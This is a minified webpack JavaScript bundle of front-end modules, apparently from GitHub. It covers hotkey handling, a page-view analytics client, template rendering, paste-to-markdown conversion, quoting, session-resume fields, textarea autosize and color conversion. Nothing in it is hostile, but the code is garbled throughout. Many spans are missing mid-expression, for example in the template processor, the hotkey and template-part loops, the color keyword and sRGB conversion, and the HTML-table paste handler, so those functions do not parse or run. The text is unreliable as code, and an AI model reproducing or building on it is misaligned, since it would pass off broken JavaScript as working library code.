g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return 